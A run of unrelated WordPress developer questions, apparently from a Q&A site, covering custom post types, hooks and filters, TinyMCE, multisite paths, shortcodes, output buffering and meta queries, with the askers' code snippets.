I have created a custom post type. And on the custom post type I would like to have a featured image. I have added the featured image to my custom posts however when I do this it removes the main text editor (which you use to add copy to your website). If i remove support thumbnail it brings the text editor back.               add_action( 'init', 'create_post_type' );     function create_post_type() {     register_post_type( 'artist',         array(             'labels' => array(                 'name' => __( 'Talent' ),                 'singular_name' => __( 'talent' )             ),         'public' => true,         'has_archive' => true,         'supports' => array( 'thumbnail' ),         'rewrite' => array('slug' => 'talent'),              )     );     }


Can't filter wp_get_attachment_link

Can't figure out why this won't work:               function my_get_attachment_link($html){         $postid = get_the_ID();         $html = str_replace('<a','<a rel="shadowbox['.$postid.']"',$html);         return $html;     }     add_filter('wp_get_attachment_link','my_get_attachment_link',10,1);      Just trying to hook up all the images on a single post view to a lightbox script. FYI, this didn't work either: http://wordpress.mfields.org/2010/thickbox-for- wordpress-gallery/#highlighter_196509 What could be jamming it up?


loop inside a loop : search for posts in the same category

Could someone tell me how i could make this work? i have a loop, and i would like to create another loop to find the other posts from the same category : but this does not work :               <?php while ( have_posts() ) : the_post(); ?>                 <?php /* How to display all other posts. */ ?>                          <?php                          $monid = the_ID();                     $cat = get_the_category($monid);  //this works                     $args = array( 'numberposts' => 5, 'offset'=> 1, 'category' => $cat );                     $myposts = get_posts( $args );                     var_dump($myposts); //this don't ?>                     <ul>                          </ul>      i found this topic Loop inside the loop but it does not really work for me : any help? thanks a lot


Show ACF fields only on certain page in the backend

I have created some custom fields with Advanced Custom Fields and set them to appear in my custom post type named X (post type is equal to X). But I only need them to display on a particular single page from this custom post type, not on all of them. How would I do that?


Hooks: admin_footer and admin_print_footer_scripts not working?

Tried them both and they don't seem to be working, am I missing something?               add_action('admin_footer', 'jupload_scripts');         wp_register_script('jquery-ui', 'http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.12/jquery-ui.min.js', array('jquery'), '1.8.6');         wp_enqueue_script( 'jquery-ui' );     }


How to disable TinyMCE from removing span tags

I am posting Word generated HTML to WordPress via XMLRPC. Before I go to post.php, the format is correctly preserved in the database. TinyMCE performs its magic and I lose quite a few formatting details.   The main issue i am seeing is that `<span>` tag with style information surrounding other elements are stripped out. I have verified that these tags are indeed removed by TinyMCE and not Kses. Is there a way to prevent TinyMCE from altering the HTML? I have tried               add_filter('tiny_mce_before_init', 'tinymce_init');          function tinymce_init( $init ) {         $init['extended_valid_elements'] .= ', span[style|id|nam|class|lang]';     $init['verify_html'] = false;         return $init;     }      which didn't help. According to TinyMCE documentation, "verify_html" _This option enables or disables the element cleanup functionality. If you set this option to false, all element cleanup will be skipped but other cleanup functionality such as URL conversion will still be executed._


How to set a single theme directory on a multisite blog?

Some days ago I've upgraded my single-site WP installation to support a multi- site WP website. So I've created two new sites and set the same theme I was using on my single WP blog before. But unluckily, looking at the HTML source, I've noticed that these new sites use a different path to retrieve their theme. They both use "$SITENAME/wp-content/Themes/...", while I would expect it to be merely "/wp- content/Themes/...". I want to change this behavior because I don't want my visitors to download three times my website (because there are 3 sites, and each uses its own wp- content directory). These are my settings:               define( 'MULTISITE', true );     define( 'SUBDOMAIN_INSTALL', false );     $base = '/';     define( 'DOMAIN_CURRENT_SITE', 'my-website.org' );     define( 'PATH_CURRENT_SITE', '/' );     define( 'SITE_ID_CURRENT_SITE', 1 );     define( 'BLOG_ID_CURRENT_SITE', 1 );      And this is the .htaccess:               RewriteEngine On     RewriteBase /     RewriteRule ^index\.php$ - [L]          # uploaded files     RewriteRule ^([_0-9a-zA-Z-]+/)?files/(.+) wp-includes/ms-files.php?file=$2 [L]          # add a trailing slash to /wp-admin     RewriteRule ^([_0-9a-zA-Z-]+/)?wp-admin$ $1wp-admin/ [R=301,L]          RewriteCond %{REQUEST_FILENAME} -f [OR]     RewriteCond %{REQUEST_FILENAME} -d     RewriteRule ^ - [L]     RewriteRule  ^[_0-9a-zA-Z-]+/(wp-(content|admin|includes).*) $1 [L]     RewriteRule  ^[_0-9a-zA-Z-]+/(.*\.php)$ $1 [L]     RewriteRule . index.php [L]      Is there a way to do what I want? I was also considering the use of subdomains, in particular "static.my-website.org" to serve the static content, like themes, files, and so on, but if I can't solve this, ...


page url in shortcode

I have a problem. I'm using a custom shortcode to try to get the url. If the shortcode is inside a post then it gets the post url. When I open the post on a category list, this post shortcode works correctly.               extract(shortcode_atts(array(         'gurl'  => get_permalink(),     ), $atts));      But when i try to add this shortcode in widget text, I get the last post url. Tell me please how I can get the post url when the shortcode is in a widget.


Is There a WordPress Hook to Filter the Edit Posts View?

I want to be able to customize the WordPress edit posts screen to filter based on a custom field (or whatever). Unfortunately I'm not sure what filter or hook to use here, and instead of opening the code myself, figured I'd throw the question out here. Just to be clear, I'm talking about this screen. Essentially I want to be able to add a new "tab" next to Drafts, Pending, etc. ![enter image description here](http://i.stack.imgur.com/jm0av.jpg) **Update** After testing this, here's the solution:               add_filter( 'parse_query', 'filter_post_edit_screen' );     function filter_post_edit_screen($query) {       global $pagenow;            if (is_admin() && $pagenow=='edit.php'){             $query->query_vars['category__not_in'] = array(120,9999);       }       return $query;     }      That's it. Just paste that into a plugin. Obviously you'd tweak the category IDs or add some more substantial code.


Cant retrieve $_POST inside page, just header

Here is the full code: http://codepad.org/BpqQ3Xm0 Line 113, I am sending $_POST["popust"] ; And I use it to compare value at the top -line 33. But if I want to echo it, print_r, var_dump, inside page - after get_header();, I am getting empty results. Even if i define some variable at the top, i cant call it inside page as its always empty. Anyway, I need this $_POSTto test validation, but struggling to get it working.


Is it safe to post form data via Ajax to the settings api? Am I missing something?

In my Wordpress Admin, I have my theme options set-up using the Settings API. I am trying to save the theme options form using Ajax so that the page does not refresh. The only thing i needed to add was this jQuery code :               $("#cgform").submit(function() {         var form_data = $('#cgform input').serializeArray();         $.post( 'options.php', form_data ).error(function() {                 alert('error');             }).success( function() {                 alert('success');                });         return false;      });      I wanted to know if doing this is safe? I know the settings api takes care of the nonce fields but I want to be sure if doing this is safe and secure. It would be great if someone can guide me with the "best practices" for using settings api with Ajax.


Automaticly replace a link with other "new link"

I want "a link" in my content "automaticly" replace with "new link" Heres the explanation, in my all post content I want a link of `www.lol.com/?http:/rapidshare.com` automaticly replace with new link `http://rapidshare.com` Whats the code to add in my functions.php ?? or any plugin that automaticly replace that old link with new one?


404 Error on form submission within custom post type

I'm trying to create a forum system using WP's custom post types - two post types as Topic/Reply and a Forum taxonomy. I have created a singular template for the topic post type, in which I added a reply form. The problem is that when I submit the form I get a 404 page. This is the form template:
       <form method="post" name="topic-reply-form" class="topic-reply-form clear-block" action="<?php echo home_url('/'); ?>">
<?php _ae("Add reply"); ?>
         <fieldset>            <textarea id="reply-content" name="content" cols="50" rows="6"></textarea>            <input type="hidden" name="topic" value="<?php the_ID(); ?>" />            <?php wp_nonce_field('new-topic-reply'); ?>            <input type="submit" value="Publish" id="reply-submit" name="reply-submit" />         </fieldset>      </form>
      Any ideas why this is happening?


WordPress not showing the latest articles in RSS feed

I use the FD feedburner plugin to redirect all feeds of my self hosted WP site to Feedburner. That has worked fine until December 2013. Since then the redirection doesn't work anymore. The feed validates fine. The same is true if I subscribe the feed through the Thunderbird RSS reader: posts after 12/2013 are not showing. If I export the posts to a blank WordPress installation, Thunderbird shows all posts in the RSS feed. I'm totally stuck here. Why would WordPress include posts until December 2013 but not the recent ones? And why does it work when the posts are imported to a new blank installation? Would be glad for any help. Thank you!


ob_get_clean returns empty string, ob_get_flush outputs string

I am utilizing a template-type system, to filter `the_content`. My filter contains this partial code:               ob_start();     include_once ( self::$dir . 'views/templates/' . $post_type . '/' . $display . '.php' );     $contents = ob_get_clean();     return $contents;      For some reason, this works locally but not a test server (WP Engine - nginx). I have verified that the file is indeed being included. On the test server, `$contents` is actually an empty string (I var_dump'ed it to be sure, it's `string(0)""`). What is bizarre is that I replaced the above code with:               ob_start();     include_once ( self::$dir . 'views/templates/' . $post_type . '/' . $display . '.php' );     ob_flush_clean();      just for fun. This code outputs the object buffered template page to the screen. I cannot use ob_flush because I need to return the object buffer. Outputting the buffer causes it to display in the wrong place, obviously because I need to return the string from the filter. Why does `ob_get_clean()` return an empty string while `ob_end_flush()` outputs the correct buffer content to the page? After some thinking, I switched the `include_once` to plain 'ol `include`. This had the effect of causing the server to generate a 502 error. So...I'm now thinking that for some reason my filter is causing some type of loop or something be being called multiple times? I'm honestly not sure. I researched what others in my situation have done, and my code looks practically identical to other methods of using a custom template system. An important note: When the callback is called via a shortcode, it behaves as expected. The whole point of this is using custom meta data/page content layout for single & archive displays of CPT's in a theme-independent way. The shortcode is used for the archive-type display (I say archive-type because it's a manually induced archive, not a typical archive-{cpt}.php). I went with a shortcode for the 'archive' pages so that the site owner could have control over the permalink, title, and overall content of the archive page. I went with a filter on `the_content` so it can be theme-independent as possible. Full filter code:               add_filter( 'the_content', array( $this, 'filter_content' ) );     function filter_content($content) {              global $post;              if( !$this->we_belong_here() ) {         //does post type check                  return $content;              }              $display = 'archive';              if( is_single( $post ) ) {                  $display = 'single';              }              return $this->shortcode( array( 'post_type' => $post->post_type, 'display' => $display, 'content' => $content, 'method' => 'class' ) );          }          function shortcode($atts) {              extract( shortcode_atts( array(                  'post_type' => '',                  'display' => 'archive',                  'method' => 'shortcode',                  'content' => ''              ), $atts ) );              ob_start();              include ( self::$dir . 'views/templates/' . $post_type . '/' . $display .'.php' );              $contents = ob_get_clean();              if($contents) return $contents; else return $content;          }


Define maximum number of revisions per post type?

How can I define the maximum number of revisions on a per-post type basis? For example posts have 3 max revisions where as pages have a max of 10.


Why set a second parameter in the translate function?

The second parameter in the translate function is optional, but I always see people use it and some don't. So I want to know if I should use it or not and if yes, how I will use it later. I asking this because I'm new to this, and I'm using _e() and __ () right now in my theme, and I'll learn how to translate it when I finish. Thanks in advance


JQuery Equal Height in Rows Conflicts Only Works without Registering wp_footer();

I am trying to make may own Wordpress theme. I want the scenario of blogpost lost DIVs blocks are equal in rows. I am using very cool JQuery tutorial from CSS-Tricks to make it happens. Here is the tutorial http://css- tricks.com/equal-height-blocks-in-rows/ I am enqueuing JQuery/JS in functions.php as follows :               // Load jQuery      if ( !is_admin() ) {          wp_deregister_script('jquery');         wp_register_script('jquery',         ("http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js"),         false); wp_enqueue_script('jquery');      }     // Load Equal Height .js      function my_equal_height()      {         wp_register_script('custom_script', get_template_directory_uri() .         '/scripts/equalheight.js', array('jquery'), '1.0' );         wp_enqueue_script('custom_script');      }     add_action('wp_enqueue_scripts', 'my_equal_height');      But the result only works if I omit `<?php wp_footer(); ?>`. As we know that, it is not recommended to omit `<?php wp_footer(); ?>` while developing Wordpress theme. Could somebody help me to solve this problem? Any responds and helps will highly appreciated.


mySQL query. ORDER BY  meta_key

I'm fighting this quite long already and start to think I'm missing something big. CPT posts could have or not metadata ( `_vip_post [0|1]`, `_thumbnail_id [null|numeric]` ). If i query for `_thumbnail_id` it's ok and works:               SELECT SQL_CALC_FOUND_ROWS wp_posts.*      FROM wp_posts       LEFT JOIN wp_postmeta m ON ( wp_posts.ID = m.post_id AND m.meta_key = '_thumbnail_id')     ORDER BY          m.meta_key DESC,         wp_posts.post_date DESC      Returns posts with thumbnails first, `_thumbnail_id` = null comes last. good enough for now. Working. But if I query for my new `_vip_post` meta_key It's totally ignored in ordering. Same pattern.               SELECT SQL_CALC_FOUND_ROWS wp_posts.*      FROM wp_posts       LEFT JOIN wp_postmeta m ON ( wp_posts.ID = m.post_id AND m.meta_key = '_vip_post')     ORDER BY          m.meta_key DESC,         wp_posts.post_date DESC       Just ordered by `post_date`. Not working.


Wordpress custom image size on custom field image

Hi can anyone tell me a good way to use a custom image size with a custom field image in a template without using something like timthumb/phpthumb. I've set an image size with...               add_action( 'after_setup_theme', 'theme_setup' );     function theme_setup() {     add_image_size( 'theme-custom-size', 329, 118, true );     }      which is fine for the featured image, I just call               the_post_thumbnail( 'theme-custom-size' );      but could I apply this size to an image grabbed with get_post_meta from a custom field image. Thanks! EDIT:_ ok, I think a simple way to do it would be to use this plugin http://wordpress.org/extend/plugins/multiple-post-thumbnails/ and use multiple featured images rather than custom fields.